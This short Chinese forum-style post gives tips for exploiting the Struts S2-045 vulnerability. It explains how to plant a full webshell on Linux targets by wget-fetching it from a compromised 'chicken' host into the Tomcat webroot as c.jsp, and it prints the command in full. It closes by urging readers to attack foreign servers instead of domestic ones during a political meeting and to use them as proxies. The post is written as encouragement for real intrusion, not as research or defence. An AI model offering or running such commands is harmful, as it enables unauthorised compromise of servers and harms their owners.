最近遇到struts s2-045大爆发,在t00ls里面很快就有基佬放出python版本的利用方法了,从开始简单的get小马,到get上传小马,再到可以执行命令这些功能一个一个被开发出来,

不管是t00ls的python版本或者k8 的GUI版本的都是差不多,遇到一些可以get小马但是小马上传大马失败的情况可能就放弃了,到这里就看看我上面的图片,如果是这里只说Linux版本的,windows版本的可以执行命令就不用说了,Linux版本的我们上传一个文件到肉鸡服务器上然后在利用工具里面wget就可以了具体看命令。

图不重要,只是说明我可以这样可以成功,下面是具体操作命令,-O之后的路径用工具可以跑出来,至于肉鸡这个东西就看自己了。

wget -c http://肉鸡/uploadfiles/c.txt -O /home/onepass/onepass-tomcat/webapps/ROOT/c.jsp

但是最近两会,大家还是不要乱来,多搞点国外的,拿来做点梯子吧!